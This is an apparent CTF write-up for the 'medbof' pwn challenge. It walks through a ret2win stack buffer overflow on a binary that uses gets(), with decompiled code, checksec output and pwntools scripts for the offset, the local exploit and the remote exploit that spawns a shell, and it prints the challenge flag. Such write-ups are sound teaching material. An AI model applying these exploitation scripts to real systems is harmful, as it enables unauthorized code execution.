medbof

by Nightxade / Nightxade

Tags: buffer-overflow pwn ret2win

Rating:

a little harder this time
`nc 0.cloud.chals.io 27380`

medbof

We're given an ELF binary, `medbof`. I decompiled with Dogbolt. Here is the relevant Hex-Rays decompilation:

```
//----- (0000000000400646) ----------------------------------------------------
int do_system()
{
  return system("/bin/sh");
}

//----- (0000000000400657) ----------------------------------------------------
__int64 do_input()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  printf("a little harder this time");
  fflush(_bss_start);
  return gets(v1);
}
// 400520: using guessed type __int64 __fastcall gets(_QWORD);
// 400657: using guessed type char var_20[32];

//----- (0000000000400691) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  do_input();
  return 0;
}
```

Seems like a simple ret2win. We just need to find the address of the `do_system` function and overwrite the RIP (return address) with that address.

First, let's run `checksec --file=medbof`:

```
[*] '/home/nightxade/Documents/ctfsbackup/Cyber Cooperative CTF 2023/exploit/medbof/medbof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
```

```
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Very few protections enabled.

`file medbof` returned this:

```
medbof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0b75cdcc9e3da83a9bbdcea25765f38519ce2acc, not stripped
```

The file isn't stripped, i.e. it still has its ELF symbols (this will allow us to get the address of `do_system`).

Now that we've done the necessary recon, it's time to write an exploit. First, I used pwntools' cyclic function to find the offset of the RIP from our input:

```
from pwn import *

p = process('./medbof')
print(p.recvuntil(b'time').decode('ascii'))

p.sendline(cyclic(50))
p.wait()
core = p.corefile
stack = core.rsp
info("rsp = %#x", stack)
pattern = core.read(stack, 4)
rip_offset = cyclic_find(pattern)
info(f'rip offset is {rip_offset}')
```

Basically, what the code above does, is, it runs until the RIP is the next value to be popped off the stack (i.e. when the `do_input` function is about to return), reads that value of the RIP, which should have been overwritten by the cyclic, and finds that value in the cyclic. From this, it is able to determine the offset of the RIP from the input.

Once we have the offset of the RIP, pwning this program is simple. We just need a buffer of 40 bytes and then the address of the win function. Here was my local exploit implementation:

```
from pwn import *
from pwnlib.util.packing import p32

p = process('./medbof')
print(p.recvuntil(b'time').decode('ascii'))

elf = ELF('./medbof')
addr_win = elf.symbols['do_system']
buffer = b'A' * 40
p.sendline(buffer + p32(addr_win))
p.interactive()
```

And here was my corresponding remote solve:

```
from pwn import *
from pwnlib.util.packing import p32

p = remote('0.cloud.chals.io', 27380)
print(p.recvuntil(b'time').decode('ascii'))

addr_win = 4195910 # from localsolve.py
buffer = b'A' * 40
```

```
p.sendline(buffer + p32(addr_win))
p.interactive()
```

Opening the remote connection in interactive mode provides us the shell. `ls` --> `cat flag.txt` gets us the flag!

```
flag{getting_better_at_hacking_binaries_i_see...}
```

Original writeup (https://nightxade.github.io/ctf-writeups/writeups/2023/Cyber-Cooperative-CTF-2023/pwn/medbof.html).

Comments